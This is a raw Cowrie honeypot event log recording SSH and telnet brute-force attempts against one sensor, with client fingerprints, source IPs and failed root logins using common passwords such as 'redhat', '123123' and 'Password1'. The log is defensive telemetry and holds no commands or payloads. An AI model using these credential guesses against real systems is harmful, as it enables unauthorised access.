{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:45.059718Z","src_ip":"192.109.200.78","session":"8d40a4024e73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:45.307597Z","src_ip":"192.109.200.78","session":"8d40a4024e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:46.397176Z","src_ip":"192.109.200.78","session":"8d40a4024e73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44212,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa66c54a491d","protocol":"ssh","message":"New connection: 192.109.200.78:44212 (159.203.135.109:22) [session: aa66c54a491d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:49.091644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:49.144292Z","src_ip":"192.109.200.78","session":"aa66c54a491d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:49.194266Z","src_ip":"192.109.200.78","session":"aa66c54a491d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:49.502114Z","src_ip":"192.109.200.78","session":"aa66c54a491d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:50.587238Z","src_ip":"192.109.200.78","session":"aa66c54a491d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44218,"dst_ip":"159.203.135.109","dst_port":22,"session":"b102602e9c86","protocol":"ssh","message":"New connection: 192.109.200.78:44218 (159.203.135.109:22) [session: b102602e9c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:53.219528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:53.232727Z","src_ip":"192.109.200.78","session":"b102602e9c86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:53.320715Z","src_ip":"192.109.200.78","session":"b102602e9c86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:53.580211Z","src_ip":"192.109.200.78","session":"b102602e9c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:54.666623Z","src_ip":"192.109.200.78","session":"b102602e9c86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44226,"dst_ip":"159.203.135.109","dst_port":22,"session":"299db5a39f5e","protocol":"ssh","message":"New connection: 192.109.200.78:44226 (159.203.135.109:22) [session: 299db5a39f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:57.613423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:57.618840Z","src_ip":"192.109.200.78","session":"299db5a39f5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:58.003259Z","src_ip":"192.109.200.78","session":"299db5a39f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:58.261208Z","src_ip":"192.109.200.78","session":"299db5a39f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:59.450864Z","src_ip":"192.109.200.78","session":"299db5a39f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51844,"dst_ip":"159.203.135.109","dst_port":22,"session":"1068bb7f0680","protocol":"ssh","message":"New connection: 192.109.200.78:51844 (159.203.135.109:22) [session: 1068bb7f0680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:01.913409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:01.918825Z","src_ip":"192.109.200.78","session":"1068bb7f0680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:02.073218Z","src_ip":"192.109.200.78","session":"1068bb7f0680","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:02.323437Z","src_ip":"192.109.200.78","session":"1068bb7f0680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:03.409763Z","src_ip":"192.109.200.78","session":"1068bb7f0680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43176,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e1b0291e101","protocol":"ssh","message":"New connection: 159.203.92.129:43176 (159.203.135.109:22) [session: 3e1b0291e101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:05.863905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:05.870152Z","src_ip":"159.203.92.129","session":"3e1b0291e101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:05.883447Z","src_ip":"159.203.92.129","session":"3e1b0291e101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RAID5","password":"123","message":"login attempt [RAID5/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:05.898627Z","src_ip":"159.203.92.129","session":"3e1b0291e101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51858,"dst_ip":"159.203.135.109","dst_port":22,"session":"8602008fd5fb","protocol":"ssh","message":"New connection: 192.109.200.78:51858 (159.203.135.109:22) [session: 8602008fd5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:06.050778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:06.056890Z","src_ip":"192.109.200.78","session":"8602008fd5fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:06.146121Z","src_ip":"192.109.200.78","session":"8602008fd5fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.83.66","src_port":54750,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d8fb9d94295","protocol":"telnet","message":"New connection: 146.190.83.66:54750 (159.203.135.109:23) [session: 6d8fb9d94295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:06.409199Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:06.688859Z","src_ip":"192.109.200.78","session":"8602008fd5fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:06.909135Z","src_ip":"159.203.92.129","session":"3e1b0291e101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:07.774118Z","src_ip":"192.109.200.78","session":"8602008fd5fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00184941291809,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:07.850568Z","src_ip":"212.252.78.49","session":"4137ec78f28d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56052,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ed41437a5f1","protocol":"ssh","message":"New connection: 192.109.200.78:56052 (159.203.135.109:22) [session: 8ed41437a5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:10.585230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:10.590111Z","src_ip":"192.109.200.78","session":"8ed41437a5f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:10.674312Z","src_ip":"192.109.200.78","session":"8ed41437a5f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:10.924306Z","src_ip":"192.109.200.78","session":"8ed41437a5f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:12.012801Z","src_ip":"192.109.200.78","session":"8ed41437a5f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56068,"dst_ip":"159.203.135.109","dst_port":22,"session":"2864871702c2","protocol":"ssh","message":"New connection: 192.109.200.78:56068 (159.203.135.109:22) [session: 2864871702c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:14.894587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:14.899977Z","src_ip":"192.109.200.78","session":"2864871702c2","protocol":"ssh"}
